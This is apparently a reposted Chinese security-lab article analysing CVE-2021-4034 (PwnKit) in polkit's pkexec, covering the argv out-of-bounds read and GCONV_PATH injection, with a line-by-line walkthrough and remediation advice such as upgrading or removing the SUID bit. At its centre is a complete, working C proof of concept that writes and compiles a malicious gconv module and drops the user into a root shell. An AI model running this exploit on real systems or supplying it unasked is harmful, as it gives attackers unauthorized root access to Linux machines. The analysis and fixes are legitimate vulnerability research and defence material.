漏洞简介
polkit 是一个应用程序级别的工具集,通过定义和审核权限规则去实现不同优先级进程之间的通讯,不过,与 sudo 程序不同的是,他并没有赋予进程完全的root权限,而是通过一个集中的策略系统进行更加精密的授权。
而 pkexec 是 polkit 的一个程序,可以以其他用户身份执行命令。
目前来看,虽然不需要看内核的版本,但是需要去看 pkexec 的版本;Centos7的话,0.105版本是可以成功提权的。
漏洞原理
当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。
漏洞分析
漏洞环境
主流 Linux 发行版即可,对 pkexec 的版本也没有要求。
POC
char *shell =
"#include <stdio.h>n"
"#include <stdlib.h>n"
"#include <unistd.h>nn"
"void gconv() {}n"
"void gconv_init() {n"
" setuid(0); setgid(0);n"
" seteuid(0); setegid(0);n"
" system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");n"
" exit(0);n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
POC 分析
在 POC 中,第5到15行,构建 payload ,引入了一个 root 权限的 /bin/sh。
第19行,创建目录 GCONV_PATH=.
,创建文件 GCONV_PATH=./pwnkit
并添加了执行权限。
第20行,创建目录 pwnkit
,创建文件 pwnkit/gconv-modules
并写入内容 module UTF-8// PWNKIT// pwnkit 2
。
第21到24行,把 payload 写入 pwnkit/pwnkit.c
并编译为动态链接库 pwnkit/pwnkit.so
。
第25行,env[]一个特殊的数组,储存目录名,文件名等。
第26行,使用 execve
调用 pkexec
,这里有个特别的参数 (char*[]){NULL}
,这也是整个 POC 的启动点。
注意
1.第26行,使用 execve
调用 pkexec
,(char*[]){NULL}
造成 argv[1]
越界读取
2.第25行,一个特殊的数组,env[0]为 payload,env[1]引入了GCONV_PATH
3.第20行,设置非UTF-8环境,也就导致 payload 中 gconv_init
执行,造成 /bin/sh
执行,恢复环境变量得到 root shell。
利用思路总结
1.通过设置 execve()
的 argv[] 为零,造成 argv[1] 越界读取,并绕过安全检查。
2.通过 g_printerr
函数发现可控的不安全环境变量 GCONV_PATH
。
3.构造畸形的路径使 pkexec
从指定路径读取环境变量完成提权。
修复方案
及时升级组件
chmod 0775 /usr/bin/pkexec
从 pkexec 中删除SUID位
可以看出,在存在漏洞的版本中的 pkexec 是存在 SUID位的,将其删除即可。
当我们将其SUID位删除之后,exp无法执行,无法再次提权。
参考安全版本
centos6: polkit-0.96-11.e16_10.2
centos7: polkit-0.112-26.el7_9.1
centos8: polkit-0.115-13.el8_5.1
centos8.2: polkit-0.115-11.el8_2.2
centos8.4: polkit-0.115-11.el8_4.2
原文始发于微信公众号(暗魂攻防实验室):CVE-2021-4034提权漏洞解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论